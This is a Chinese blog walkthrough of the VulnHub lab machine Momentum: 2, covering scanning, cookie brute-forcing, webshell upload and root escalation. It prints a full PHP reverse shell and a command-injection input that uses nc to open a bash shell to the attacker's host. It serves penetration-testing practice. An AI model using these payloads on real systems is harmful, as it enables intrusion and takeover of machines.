Title

vulnhub靶场之MOMENTUM: 2

准备:

攻击机:虚拟机kali、本机win10。

靶机:Momentum: 2,下载地址:https://download.vulnhub.com/momentum/Momentum2.ova,下载后直接vbox打开即可。

知识点:文件上传、爆破、敏感文件提权。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.177。

 

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.16128.5.177,显示开放了80、22端口,开启了http服务、ssh服务。

目录扫描:

访问web服务和其源码信息未发现可以利用的信息,然后使用gobuster进行目录扫描:gobuster dir -u http://192.168.5.177 -x php,php.bak,jsp,zip,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现ajax.php、ajax.php.bak、dashboard.html等文件。

 访问dashboard.html文件,返回一个文件上传页面。随便上传一个后门文件进行测试,但是上传失败。0即表示失败,可以在http://192.168.5.177/js/main.js文件中查看。

 访问ajax.php.bak文件,下载该文件进行查看,发现需要设置cookie信息并且目前cookie信息缺少一位,需要在最后补充一位大写字母。需要传递secure参数值为val1d。

获取shell: 

使用bp抓取文件上传的数据包并修改数据包的信息发送到intruder模块进行爆破cookie信息的最后一位。成功获得cookie信息的最后一位是R。

 使用蚂剑连接上传的后门文件并在/home/athena/目录下发现user.txt文件和password-reminder.txt文件,访问user.txt文件获得flag值,访问assword-reminder.txt文件获得密码提示信息:myvulnerableapp[Asterisk]。

如果不想使用蚁剑,修改shell反弹语句也可以直接反弹shell窗口,shell反弹语句如下,可在:https://www.revshells.com/网站生成。

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.5.150';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>
View Code

 

  百度了下[Asterisk]的意思,发现代表*,因此猜测密码是:myvulnerableapp*,使用获得账户和密码信息:athena/myvulnerableapp*进行ssh登录,成功获得athena账户的权限。

 提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现:(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py。然后查看了下/home/team-tasks目录下的文件信息,note.txt文件告诉我们利用cookie-gen.py。

 查看cookie-gen.py文件,发现其可以执行参数cmd的命令。具体的可查询subprocess.Popen函数。cmd中包含seed参数,seed参数是由我们输入的。

 

 因此执行cookie-gen.py文件并在kali中开启对6688端口的监听:sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py,然后输入shell反弹语句:;nc -c /bin/bash 192.168.5.150 6688,成功获得root权限。

 获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

posted @ 2023-02-07 16:11  upfine  阅读(193)  评论(0编辑  收藏  举报